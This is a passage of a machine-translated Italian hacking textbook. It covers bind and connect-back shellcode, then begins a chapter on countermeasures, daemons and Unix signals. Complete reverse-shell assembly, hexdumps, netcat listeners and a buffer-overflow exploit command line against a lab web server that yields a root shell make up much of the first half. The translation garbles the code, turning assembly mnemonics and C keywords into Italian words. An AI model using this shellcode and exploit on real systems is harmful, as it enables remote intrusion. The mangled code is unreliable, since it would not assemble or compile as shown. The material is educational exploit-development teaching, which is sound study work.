mov ecx, esp; ecx = ptr nell'array degli argomenti
int 0x80 ; Dopo syscall, eax ha il descrittore di file socket.

xchg esi, eax; Salva socket FD in esi per dopo.

; bind (s, [2, 31337, 0], 16)


push BYTE 0x66; socketcall (syscall # 102)
pop eax
inc ebx ; ebx = 2 = SYS_BIND = bind ()

312 0x500

Pagina 327

push edx ; Costruisci la struttura sockaddr: INADDR_ANY = 0


premere WORD 0x697a; (in ordine inverso) PORT = 31337
push WORD bx; AF_INET = 2
mov ecx, esp; ecx = puntatore alla struttura del server
premere BYTE 16; argv: {sizeof (server struct) = 16,
push ecx ; puntatore alla struttura del server,
push esi ; descrittore di file socket}
mov ecx, esp; ecx = array di argomenti
int 0x80 ; eax = 0 in caso di successo

; ascolta (s, 0)
mov BYTE al, 0x66; socketcall (syscall # 102)
inc ebx
inc ebx ; ebx = 4 = SYS_LISTEN = ascolta ()
push ebx ; argv: {backlog = 4,
push esi ; socket fd}
mov ecx, esp; ecx = array di argomenti
int 0x80

; c = accetta (s, 0, 0)
mov BYTE al, 0x66; socketcall (syscall # 102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accetta ()
push edx ; argv: {socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; socket fd}
mov ecx, esp; ecx = array di argomenti
int 0x80 ; eax = presa collegata FD

; dup2 (socket connesso, {tutti e tre i descrittori di file I / O standard})


xchg eax, ebx; Metti lo zoccolo FD in ebx e 0x00000005 in eax.
spingere BYTE 0x2; ecx inizia da 2.
pop ecx
dup_loop:
mov BYTE al, 0x3F; dup2 syscall # 63
int 0x80 ; dup2 (c, 0)
dec ecx ; conto alla rovescia fino a 0
jns dup_loop; Se il flag del segno non è impostato, ecx non è negativo.

; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11
push edx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
push edx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])

Questo si assembla allo stesso shellcode bind_shell a 92 byte utilizzato nel file
capitolo precedente.

Shellcode 313

Pagina 328

lettore @ hacking: ~ / booksrc $ nasm bind_shell.s


lettore @ hacking: ~ / booksrc $ hexdump -C bind_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 | jfX.1.CRj.j ..... |
00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 | .jfXCRfhzifS..j. |
00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 | QV ..... fCCSV .... |
00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f | .fCRRV ..... jY? |
00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 | ..Iy ... Rh // shh / b |
00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 | in..R..S .... |
0000005c
reader @ hacking: ~ / booksrc $ diff bind_shell portbinding_shellcode

Codice shell Connect-Back 0x550


Lo shellcode di associazione delle porte viene facilmente sventato dai firewall. La maggior parte dei firewall si bloccherà
connessioni in entrata, ad eccezione di alcune porte con servizi noti. Questo limita
l'esposizione dell'utente e impedirà allo shellcode di associazione di porte di ricevere un file
connessione. I firewall software sono ora così comuni che lo shellcode bind alla porta
ha poche possibilità di lavorare effettivamente in natura.
Tuttavia, i firewall in genere non filtrano le connessioni in uscita, poiché ciò
ostacolerebbe l'usabilità. Dall'interno del firewall, un utente dovrebbe essere in grado di accedere
qualsiasi pagina web o effettuare qualsiasi altra connessione in uscita. Ciò significa che se
lo shellcode avvia la connessione in uscita, la maggior parte dei firewall lo consentirà.
Invece di aspettare una connessione da un utente malintenzionato, connettersi alla shell
il codice avvia una connessione TCP di nuovo all'indirizzo IP dell'attaccante. Apertura di un file
La connessione TCP richiede solo una chiamata a socket () e una chiamata a connect () . Questo è
molto simile allo shellcode bind-port, poiché la chiamata al socket è esattamente la stessa
e la chiamata connect () accetta lo stesso tipo di argomenti di bind () . Il seguente
Lo shellcode connect-back è stato creato dallo shellcode bind-port con pochi file
modifiche (mostrate in grassetto).

connectback_shell.s

BITS 32

; s = presa (2, 1, 0)
push BYTE 0x66; socketcall è syscall # 102 (0x66).
pop eax
cdq ; Azzera edx da utilizzare come DWORD nullo in seguito.
xor ebx, ebx; ebx è il tipo di socketcall.
inc ebx ; 1 = SYS_SOCKET = socket ()
push edx ; Crea array arg: {protocollo = 0,
premere BYTE 0x1; (al contrario) SOCK_STREAM = 1,
spingere BYTE 0x2; AF_INET = 2}
mov ecx, esp; ecx = ptr nell'array degli argomenti
int 0x80 ; Dopo syscall, eax ha il descrittore di file socket.

xchg esi, eax; Salva socket FD in esi per dopo.

; connect (s, [2, 31337, <IP address>], 16)


push BYTE 0x66; socketcall (syscall # 102)

314 0x500

Pagina 329

pop eax
inc ebx ; ebx = 2 (necessario per AF_INET)
spingere DWORD 0x482aa8c0; Costruisci struttura sockaddr: indirizzo IP = 192.168.42.72
premere WORD 0x697a; (in ordine inverso) PORT = 31337
push WORD bx; AF_INET = 2
mov ecx, esp; ecx = puntatore alla struttura del server
premere BYTE 16; argv: {sizeof (server struct) = 16,
push ecx ; puntatore alla struttura del server,
push esi ; descrittore di file socket}
mov ecx, esp; ecx = array di argomenti
inc ebx ; ebx = 3 = SYS_CONNECT = connect ()
int 0x80 ; eax = presa collegata FD

; dup2 (socket connesso, {tutti e tre i descrittori di file I / O standard})


xchg eax, ebx; Metti lo zoccolo FD in ebx e 0x00000003 in eax.
spingere BYTE 0x2; ecx inizia da 2.
pop ecx
dup_loop:
mov BYTE al, 0x3F; dup2 syscall # 63
int 0x80 ; dup2 (c, 0)
dec ecx ; Conto alla rovescia fino a 0.
jns dup_loop; Se il flag del segno non è impostato, ecx non è negativo.

; execve (const char * filename, char * const argv [], char * const envp [])
mov BYTE al, 11; eseguire syscall # 11.
push edx ; spingere alcuni valori nulli per la terminazione della stringa.
push 0x68732f2f; spingere "// sh" nello stack.
push 0x6e69622f; spingere "/ bin" nella pila.
mov ebx, esp; Inserisci l'indirizzo di "/ bin // sh" in ebx tramite esp.
push edx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.
push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])

Nello shellcode sopra, l'indirizzo IP della connessione è impostato su 192.168.42.72,


che dovrebbe essere l'indirizzo IP della macchina attaccante. Questo indirizzo viene memorizzato
nella struttura in_addr come 0x482aa8c0 , che è la rappresentazione esadecimale
72, 42, 168 e 192. Ciò risulta chiaro quando viene visualizzato ciascun numero
in esadecimale:

lettore @ hacking: ~ / booksrc $ gdb -q


(gdb) p / x 192
$ 1 = 0xc0
(gdb) p / x 168
$ 2 = 0xa8
(gdb) p / x 42
$ 3 = 0x2a
(gdb) p / x 72
$ 4 = 0x48
(gdb) p / x 31337
$ 5 = 0x7a69
(gdb)

Shellcode 315

Pagina 330

Poiché questi valori sono memorizzati nell'ordine dei byte di rete ma l'archiviazione x 86
tecture è in ordine little-endian, il DWORD memorizzato sembra essere invertito. Questo
significa che il DWORD per 192.168.42.72 è 0x482aa8c0 . Questo vale anche per
WORD a due byte utilizzata per la porta di destinazione. Quando il numero di porta 31337
è stampato in esadecimale usando gdb, l'ordine dei byte è mostrato in little-endian
ordine. Ciò significa che i byte visualizzati devono essere invertiti, quindi WORD per 31337
è 0x697a .
Il programma netcat può essere utilizzato anche per ascoltare le connessioni in entrata
con l' opzione della riga di comando -l . Viene utilizzato nell'output seguente per ascoltare
sulla porta 31337 per lo shellcode di connessione. Il comando ifconfig garantisce
l'indirizzo IP di eth0 è 192.168.42.72 quindi lo shellcode può riconnettersi ad esso.

reader @ hacking: ~ / booksrc $ sudo ifconfig eth0 192.168.42.72 up


lettore @ hacking: ~ / booksrc $ ifconfig eth0
Encap link eth0: Ethernet HWaddr 00: 01: 6C: EB: 1D: 50
inet addr: 192.168.42.72 Bcast: 192.168.42.255 Mask: 255.255.255.0
UP BROADCAST MULTICAST MTU: 1500 Sistema metrico: 1
Pacchetti RX: 0 errori: 0 eliminati: 0 overruns: 0 frame: 0
Pacchetti TX: 0 errori: 0 eliminati: 0 overruns: 0 carrier: 0
collisioni: 0 txqueuelen: 1000
Byte RX: 0 (0,0 b) Byte TX: 0 (0,0 b)
Interruzione: 16

lettore @ hacking: ~ / booksrc $ nc -v -l -p 31337


ascolto su [any] 31337 ...

Ora, proviamo a sfruttare il programma server tinyweb utilizzando il collegamento


back shellcode. Dal lavorare con questo programma in precedenza, sappiamo che il file
il buffer delle richieste è lungo 500 byte e si trova in 0xbffff5c0 nella memoria dello stack.
Sappiamo anche che l'indirizzo di ritorno si trova entro 40 byte dalla fine di
il buffer.

reader @ hacking: ~ / booksrc $ nasm connectback_shell.s


reader @ hacking: ~ / booksrc $ hexdump -C connectback_shell
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 | jfX.1.CRj.j ..... |
00000010 96 6a 66 58 43 68 c0 a8 2a 48 66 68 7a 69 66 53 | .jfXCh .. * HfhzifS |
00000020 89 e1 6a 10 51 56 89 e1 43 cd 80 87 f3 87 ce 49 | ..j.QV..C ...... I |
00000030 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.? .. Iy ... Rh // shh |
00000040 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 | /bin..R..S .... |
0000004e
reader @ hacking: ~ / booksrc $ wc -c connectback_shell
78 connectback_shell
lettore @ hacking: ~ / booksrc $ echo $ ((544 - (4 * 16) - 78))
402
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p / x 0xbffff5c0 + 200"
$ 1 = 0xbffff688
lettore @ hacking: ~ / booksrc $

Poiché l'offset dall'inizio del buffer all'indirizzo di ritorno è


540 byte, è necessario scrivere un totale di 544 byte per sovrascrivere il ritorno a quattro byte
indirizzo. Anche la sovrascrittura dell'indirizzo del mittente deve essere adeguatamente allineata, poiché

316 0x500

Pagina 331
l'indirizzo del mittente utilizza più byte. Per garantire un corretto allineamento, la somma
dei byte NOP sled e shellcode devono essere divisibili per quattro. Inoltre, il
lo shellcode stesso deve rimanere entro i primi 500 byte dalla sovrascrittura. Questi sono
i limiti del buffer di risposta e successivamente la memoria corrisponde
ad altri valori sullo stack che potrebbero essere scritti prima di modificare il file
flusso di controllo del programma. Rimanere entro questi limiti evita il rischio di casualità
sovrascrive lo shellcode, che inevitabilmente porta a crash. Ripetendo il file
l'indirizzo di ritorno 16 volte genererà 64 byte, che possono essere inseriti alla fine di
l'exploit buffer da 544 byte e mantiene lo shellcode al sicuro entro i limiti
del buffer. I byte rimanenti all'inizio del buffer di exploit lo faranno
essere la slitta NOP. I calcoli sopra mostrano che una slitta NOP da 402 byte lo farà
allineare correttamente lo shellcode a 78 byte e posizionarlo in modo sicuro entro i limiti di
il buffer. Ripetendo l'indirizzo del mittente desiderato 12 volte la finale
4 byte dell'exploit buffer perfettamente per sovrascrivere l'indirizzo di ritorno salvato
sullo stack. La sovrascrittura dell'indirizzo del mittente con 0xbffff688 dovrebbe tornare
esecuzione fino al centro della slitta NOP, evitando i byte vicino al file
all'inizio del buffer, che potrebbe essere alterato. Questi valori calcolati
verrà utilizzato nel seguente exploit, ma prima è necessaria la shell di connessione
un posto a cui riconnettersi. Nell'output sotto, netcat viene utilizzato per ascoltare
per le connessioni in entrata sulla porta 31337.

lettore @ hacking: ~ / booksrc $ nc -v -l -p 31337


ascolto su [any] 31337 ...

Ora, in un altro terminale, è possibile utilizzare i valori di exploit calcolati


sfruttare il programma tinyweb da remoto.

Da un'altra finestra del terminale

lettore @ hacking: ~ / booksrc $ (perl -e 'print "\ x90" x402';


> cat connectback_shell;
> perl -e 'print "\ x88 \ xf6 \ xff \ xbf" x20. "\ r \ n" ') | nc -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) aperto

Di nuovo nel terminale originale, lo shellcode si è ricollegato a


il processo netcat in ascolto sulla porta 31337. Ciò fornisce l'accesso alla shell di root
da remoto.

lettore @ hacking: ~ / booksrc $ nc -v -l -p 31337


ascolto su [any] 31337 ...
connettersi a [192.168.42.72] da hacking.local [192.168.42.72] 34391
chi sono
radice

La configurazione di rete per questo esempio è leggermente confusa


perché l'attacco è diretto a 127.0.0.1 e lo shellcode si riconnette
a 192.168.42.72. Entrambi questi indirizzi IP vengono instradati allo stesso posto, ma
192.168.42.72 è più facile da usare nello shellcode rispetto a 127.0.0.1. Dal momento che il loopback
address contiene due byte nulli, l'indirizzo deve essere costruito sullo stack con

Shellcode 317

Pagina 332

più istruzioni. Un modo per farlo è scrivere i due byte null in


lo stack utilizzando un registro azzerato. Il file loopback_shell.s è un file
versione di connectback_shell.s che utilizza l'indirizzo di loopback 127.0.0.1.
Le differenze sono mostrate nell'output seguente.

reader @ hacking: ~ / booksrc $ diff connectback_shell.s loopback_shell.s


21c21,22
<push DWORD 0x482aa8c0; Costruisci struttura sockaddr: indirizzo IP = 192.168.42.72
---
> spingere DWORD 0x01BBBB7f; Crea struttura sockaddr: indirizzo IP = 127.0.0.1
> MOV WORD [esp + 1], dx; sovrascrivere BBBB con 0000 nel push precedente
lettore @ hacking: ~ / booksrc $

Dopo aver inserito il valore 0x01BBBB7f nello stack, il registro ESP punterà
all'inizio di questo DWORD. Scrivendo una WORD a due byte di byte nulli
a ESP + 1, i due byte centrali verranno sovrascritti per formare il ritorno corretto
indirizzo.
Questa istruzione aggiuntiva aumenta la dimensione dello shellcode di alcuni
bytes, il che significa che anche la slitta NOP deve essere regolata per l'exploit
buffer. Questi calcoli sono mostrati nell'output di seguito e risultano in
una slitta NOP da 397 byte. Questo exploit che utilizza lo shellcode di loopback presuppone che
il programma tinyweb è in esecuzione e che un processo netcat sta ascoltando
connessioni in entrata sulla porta 31337.

reader @ hacking: ~ / booksrc $ nasm loopback_shell.s


lettore @ hacking: ~ / booksrc $ hexdump -C loopback_shell | grep --color = auto 00
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 | jfX.1.CRj.j ..... |
00000010 96 6a 66 58 43 68 7f bb bb 01 66 89 54 24 01 66 | .jfXCh .... fT $ .f |
00000020 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 43 cd 80 | hzifS..j.QV..C .. |
00000030 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 0b 52 68 | .... Io.? .. Iy ... Rh |
00000040 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 e2 53 89 | //shh/bin..R..S. |
00000050 e1 cd 80 | ... |
00000053
lettore @ hacking: ~ / booksrc $ wc -c loopback_shell
83 loopback_shell
lettore @ hacking: ~ / booksrc $ echo $ ((544 - (4 * 16) - 83))
397
reader @ hacking: ~ / booksrc $ (perl -e 'print "\ x90" x397'; cat loopback_shell; perl -e 'print "\ x88 \
xf6 \ xff \ xbf "x16." \ r \ n "') | nc -v 127.0.0.1 80
localhost [127.0.0.1] 80 (www) aperto

Come con l'exploit precedente, il terminale con netcat in ascolto


la porta 31337 riceverà il roothell.

lettore @ hacking: ~ $ nc -vlp 31337


ascolto su [any] 31337 ...
connettersi a [127.0.0.1] da localhost [127.0.0.1] 42406
chi sono
radice

Sembra quasi troppo facile, non è vero?


318 0x500

Pagina 333

0x600 CONTROMISURE

La rana dorata del dardo del veleno secerne un estremamente


veleno tossico: una rana può emetterne abbastanza da ucciderne 10
esseri umani adulti. L'unico motivo per cui queste rane ce l'hanno
una difesa sorprendentemente potente è quella di una certa specie
di serpente continuava a mangiarli e sviluppare una resistenza.
In risposta, le rane hanno continuato a evolvere veleni sempre più forti come a
difesa. Un risultato di questa coevoluzione è che le rane sono al sicuro contro tutti
altri predatori. Questo tipo di coevoluzione avviene anche con gli hacker. Loro
le tecniche di exploit esistono da anni, quindi è naturale
si svilupperebbero contromisure difensive. In risposta, gli hacker trovano modi
aggirare e sovvertire queste difese, e quindi sono nuove tecniche di difesa
creato.
Questo ciclo di innovazione è in realtà molto vantaggioso. Anche se i virus
e i worm possono causare un bel po 'di problemi e costose interruzioni per
nesses, forzano una risposta, che risolve il problema. I vermi si replicano da
sfruttare le vulnerabilità esistenti nel software difettoso. Spesso questi difetti lo sono
non scoperti per anni, ma worm relativamente benigni come CodeRed o Sasser
forzare la risoluzione di questi problemi. Come con la varicella, è meglio soffrire di a

Pagina 334

focolaio minore all'inizio anziché anni dopo, quando può causare danni reali.
Se non fosse per i worm Internet che rendono pubblico spettacolo di questa sicurezza
difetti, potrebbero rimanere senza patch, lasciandoci vulnerabili a un attacco da
qualcuno con obiettivi più dannosi della semplice replica. In questo modo, i vermi
e i virus possono effettivamente rafforzare la sicurezza a lungo termine. Tuttavia, lì
sono modi più proattivi per rafforzare la sicurezza. Contromisure difensive
esistono che cercano di annullare l'effetto di un attacco o di impedire l'attacco
sta accadendo. Una contromisura è un concetto abbastanza astratto; questo potrebbe essere un file
prodotto di sicurezza, un insieme di politiche, un programma o semplicemente un sistema attento
amministratore. Queste contromisure difensive possono essere separate in due
gruppi: quelli che cercano di rilevare l'attacco e quelli che cercano di proteggere il file
vulnerabilità.

0x610 Contromisure che rilevano


Il primo gruppo di contromisure cerca di rilevare l'intrusione e rispondere
in qualche modo. Il processo di rilevamento potrebbe essere qualsiasi cosa da un amministratore
leggere i registri a un programma che annusa la rete. La risposta potrebbe includere
interrompere automaticamente la connessione o il processo o solo l'amministratore
esaminando tutto dalla console della macchina.
In qualità di amministratore di sistema, gli exploit che conosci non sono così vicini
pericoloso come quelli che non fai. Prima viene rilevata un'intrusione, il
prima può essere affrontato e più è probabile che possa essere contenuto. Intrusioni
che non vengono scoperti per mesi possono essere motivo di preoccupazione.
Il modo per rilevare un'intrusione è anticipare ciò che l'hacker attaccante
sta per fare. Se lo sai, allora sai cosa cercare. Counter-
le misure che rilevano possono cercare questi modelli di attacco nei file di registro, in rete
pacchetti o anche memoria di programma. Dopo che viene rilevata un'intrusione, l'hacker
può essere cancellato dal sistema, qualsiasi danno al filesystem può essere annullato da
ripristino dal backup e la vulnerabilità sfruttata può essere identificata e
rattoppato. Rilevare le contromisure sono abbastanza potenti in un sistema elettronico
mondo con funzionalità di backup e ripristino.
Per l'attaccante, questo significa che il rilevamento può contrastare tutto ciò che fa.
Poiché il rilevamento potrebbe non essere sempre immediato, ci sono alcuni "smash
e afferrare "scenari dove non importa; tuttavia, anche allora è meglio
per non lasciare tracce. La furtività è una delle risorse più preziose dell'hacker. Sfruttare-
ing un programma vulnerabile per ottenere una shell di root significa che puoi fare quello che vuoi
vuoi su quel sistema, ma evitare il rilevamento significa anche che nessuno lo sa
tu sei qui. La combinazione di "modalità Dio" e invisibilità crea a
hacker pericoloso. Da una posizione nascosta, password e dati possono essere
sniffati silenziosamente dalla rete, i programmi possono essere sottoposti a backdoor e altro ancora
gli attacchi possono essere lanciati su altri host. Per rimanere nascosto, devi semplicemente
anticipare i metodi di rilevamento che potrebbero essere utilizzati. Se sai cosa
stai cercando, puoi evitare determinati schemi di exploit o imitare quelli validi.
Il ciclo co-evolutivo tra nascondere e rilevare è alimentato dal pensiero
delle cose a cui l'altra parte non ha pensato.

320 0x600

Pagina 335

0x620 Demoni di sistema

Per avere una discussione realistica sulle contromisure di exploit e sui metodi di bypass,
abbiamo prima bisogno di un obiettivo di sfruttamento realistico. Una destinazione remota sarà un server
programma che accetta le connessioni in entrata. In Unix, questi programmi sono
di solito daemon di sistema. Un demone è un programma che viene eseguito in background
massa e si stacca dal terminale di controllo in un certo modo. Il
il termine demone è stato coniato per la prima volta dagli hacker del MIT negli anni '60. Si riferisce a un file
demone di smistamento delle molecole da un esperimento mentale del 1867 di un fisico
chiamato James Maxwell. Nell'esperimento mentale, il demone di Maxwell è un
essere con la capacità soprannaturale di svolgere senza sforzo compiti difficili,
apparentemente violando la seconda legge della termodinamica. Allo stesso modo, in Linux,
i daemon di sistema eseguono instancabilmente attività come la fornitura di servizi SSH e
mantenere i registri di sistema. I programmi daemon in genere terminano con una d per indicarlo
sono demoni, come sshd o syslogd .
Con alcune aggiunte, il codice tinyweb.c a pagina 214 può essere trasformato in un file
demone di sistema più realistico. Questo nuovo codice utilizza una chiamata alla funzione daemon ()
zione, che genererà un nuovo processo in background. Questa funzione è utilizzata da
molti processi daemon di sistema in Linux e la sua pagina man è mostrata di seguito.

DAEMON (3) Manuale del programmatore Linux DAEMON (3)

NOME
daemon - eseguito in background

SINOSSI
#include <unistd.h>

int daemon (int nochdir, int noclose);

DESCRIZIONE
La funzione daemon () è per i programmi che desiderano scollegarsi da
il terminale di controllo ed eseguito in background come demoni di sistema.

A meno che l'argomento nochdir non sia diverso da zero, daemon () cambia l'attuale
directory di lavoro alla radice ("/").

A meno che l'argomento noclose non sia diverso da zero, daemon () reindirizzerà stan
dard input, standard output e standard error in / dev / null.

VALORE DI RITORNO
(Questa funzione esegue il fork, e se fork () ha successo, il genitore lo fa
_exit (0), in modo che ulteriori errori siano visti solo dal figlio.) On suc
cess zero verrà restituito. Se si verifica un errore, daemon () restituisce -1
e imposta la variabile globale errno su uno degli errori specificati per
le funzioni di libreria fork (2) e setsid (2).

Contromisure 321

Pagina 336

I daemon di sistema vengono eseguiti scollegati da un terminale di controllo, quindi il nuovo file
Il codice del demone tinyweb scrive in un file di registro. Senza un terminale di controllo,
i daemon di sistema sono generalmente controllati con segnali. Il nuovo tinyweb
Il programma demone dovrà catturare il segnale di terminazione in modo che possa uscire
in modo pulito quando viene ucciso.

0x621 Crash Course in Signals


I segnali forniscono un metodo di comunicazione tra processi in Unix. Quando un
il processo riceve un segnale, il suo flusso di esecuzione viene interrotto dall'operazione
sistema per chiamare un gestore di segnali. I segnali sono identificati da un numero e ciascuno
uno ha un gestore di segnale predefinito. Ad esempio, quando si digita CTRL -C in un file
terminale di controllo del programma, viene inviato un segnale di interruzione, che ha un valore predefinito
gestore del segnale che esce dal programma. Ciò consente al programma di interagire
interrotto, anche se è bloccato in un ciclo infinito.
I gestori di segnali personalizzati possono essere registrati utilizzando la funzione signal () .
Nel codice di esempio seguente, diversi gestori di segnali sono registrati per alcuni
segnali, mentre il codice principale contiene un ciclo infinito.

signal_example.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
/ * Alcuni segnali etichettati definiscono da signal.h
* #define SIGHUP 1 Hangup
* #define SIGINT 2 Interruzione (Ctrl-C)
* #define SIGQUIT 3 Esci (Ctrl- \)
* #define SIGILL 4 Istruzione illegale
* #define SIGTRAP 5 Trace / breakpoint trap
* #define SIGABRT 6 Processo interrotto
* #define SIGBUS 7 Errore di bus
* #define SIGFPE 8 Errore in virgola mobile
* #define SIGKILL 9 Kill
* #define SIGUSR1 10 Segnale definito dall'utente 1
* #define SIGSEGV 11 Errore di segmentazione
* #define SIGUSR2 12 Segnale definito dall'utente 2
* #define SIGPIPE 13 Scrive su pipe senza che nessuno legga
* #define SIGALRM 14 Allarme conto alla rovescia impostato da allarme ()
* #define SIGTERM 15 Termination (inviato dal comando kill)
* #define SIGCHLD 17 Segnale di processo figlio
* #define SIGCONT 18 Continua se fermato
* #define SIGSTOP 19 Stop (pausa esecuzione)
* #define SIGTSTP 20 Terminal stop [suspend] (Ctrl-Z)
* #define SIGTTIN 21 Processo in background che tenta di leggere lo stdin
* #define SIGTTOU 22 Processo in background che tenta di leggere lo stdout
*/

/ * Un gestore di segnali * /
void signal_handler (int signal) {

322 0x600

Pagina 337

printf ("Segnale rilevato% d \ t", segnale);


se (segnale == SIGTSTP)
printf ("SIGTSTP (Ctrl-Z)");
altrimenti se (segnale == SIGQUIT)
printf ("SIGQUIT (Ctrl - \\)");
altrimenti se (segnale == SIGUSR1)
printf ("SIGUSR1");
altrimenti se (segnale == SIGUSR2)
printf ("SIGUSR2");
printf ("\ n");
}

void sigint_handler (int x) {


printf ("Preso un Ctrl-C (SIGINT) in un gestore separato \ nEsci. \ n");
uscita (0);
}

int main () {
/ * Registrazione di gestori di segnali * /
signal (SIGQUIT, signal_handler); // Imposta signal_handler () come
signal (SIGTSTP, signal_handler); // gestore del segnale per questi
signal (SIGUSR1, signal_handler); // segnali.
signal (SIGUSR2, signal_handler);

segnale (SIGINT, sigint_handler); // Imposta sigint_handler () per SIGINT.

while (1) {} // Ripeti il ​ciclo all'infinito.


}

Quando questo programma viene compilato ed eseguito, i gestori di segnali lo sono


registrato e il programma entra in un ciclo infinito. Anche se il programma
è bloccato in loop, i segnali in arrivo interromperanno l'esecuzione e chiameranno il file
gestori di segnali registrati. Nell'output di seguito, segnali che possono essere attivati
dal terminale di controllo vengono utilizzati. Ilfunzione signal_handler () ,
al termine, restituisce l'esecuzione nel ciclo interrotto, mentre
la funzione sigint_handler () esce dal programma.

reader @ hacking: ~ / booksrc $ gcc -o signal_example signal_example.c


lettore @ hacking: ~ / booksrc $ ./signal_example
Segnale rilevato 20 SIGTSTP (Ctrl-Z)
Segnale rilevato 3 SIGQUIT (Ctrl- \)
Preso un Ctrl-C (SIGINT) in un gestore separato
Uscita.
lettore @ hacking: ~ / booksrc $

Segnali specifici possono essere inviati a un processo utilizzando il comando kill . Di


impostazione predefinita, il comando kill invia il segnale di terminazione ( SIGTERM ) a un processo.
Con l' opzione della riga di comando -l , kill elenca tutti i possibili segnali. Nel
uscita sotto, i segnali SIGUSR1 e SIGUSR2 vengono inviati a signal_example
programma in esecuzione in un altro terminale.

Contromisure 323

Pagina 338
lettore @ hacking: ~ / booksrc $ kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT
17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU
25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH
29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN
35) SIGRTMIN + 1 36) SIGRTMIN + 2 37) SIGRTMIN + 3 38) SIGRTMIN + 4
39) SIGRTMIN + 5 40) SIGRTMIN + 6 41) SIGRTMIN + 7 42) SIGRTMIN + 8
43) SIGRTMIN + 9 44) SIGRTMIN + 10 45) SIGRTMIN + 11 46) SIGRTMIN + 12
47) SIGRTMIN + 13 48) SIGRTMIN + 14 49) SIGRTMIN + 15 50) SIGRTMAX-14
51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6
59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX
lettore @ hacking: ~ / booksrc $ ps a | grep signal_example
24491 punti / 3 L + 0:17 ./segnale_esempio
24512 punti / 1 S + 0:00 grep signal_example
lettore @ hacking: ~ / booksrc $ kill -10 24491
lettore @ hacking: ~ / booksrc $ kill -12 24491
lettore @ hacking: ~ / booksrc $ kill -9 24491
lettore @ hacking: ~ / booksrc $

Infine, il segnale SIGKILL viene inviato utilizzando kill -9 . Il gestore di questo segnale
non può essere modificato, quindi kill -9 può sempre essere utilizzato per terminare i processi. Nel
altro terminale, il signal_example in esecuzione mostra i segnali così come sono
catturato e il processo viene interrotto.

lettore @ hacking: ~ / booksrc $ ./signal_example


Segnale catturato 10 SIGUSR1
Segnale catturato 12 SIGUSR2
Ucciso
lettore @ hacking: ~ / booksrc $

I segnali stessi sono piuttosto semplici; tuttavia, la comunicazione tra processi


può rapidamente diventare una complessa rete di dipendenze. Fortunatamente, in
nuovo daemon tinyweb, i segnali vengono utilizzati solo per una terminazione pulita, quindi il file
l'implementazione è semplice.

0x622 Tinyweb Daemon


Questa versione più recente del programma tinyweb è un demone di sistema che viene eseguito in
lo sfondo senza un terminale di controllo. Scrive il suo output in un registro
file con timestamp e ascolta il segnale di terminazione ( SIGTERM ) quindi
può spegnersi in modo pulito quando viene ucciso.
Queste aggiunte sono abbastanza minori, ma forniscono un'immagine molto più realistica
exploit target. Le nuove parti del codice sono mostrate in grassetto nell'elenco
sotto.

324 0x600

Pagina 339

tinywebd.c

#include <sys / stat.h>


#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>
#include <sys / types.h>
#include <sys / stat.h>
#include <fcntl.h>
#include <time.h>
#include <signal.h>
#include "hacking.h"
#include "hacking-network.h"

#define PORT 80 // La porta a cui si connetteranno gli utenti


#define WEBROOT "./webroot" // La directory principale del server web
#define LOGFILE "/var/log/tinywebd.log" // Nome del file di log

int logfd, sockfd; // Descrittori di file di log e socket globali


void handle_connection (int, struct sockaddr_in *, int);
int get_file_size (int); // Restituisce la dimensione del file del descrittore di file aperto
timestamp void (int); // Scrive un timestamp nel descrittore di file aperto

// Questa funzione viene chiamata quando il processo viene terminato.


void handle_shutdown (int signal) {
timestamp (logfd);
write (logfd, "Chiusura in corso. \ n", 16);
chiudi (logfd);
chiudere (sockfd);
uscita (0);
}

int main (void) {


int new_sockfd, sì = 1;
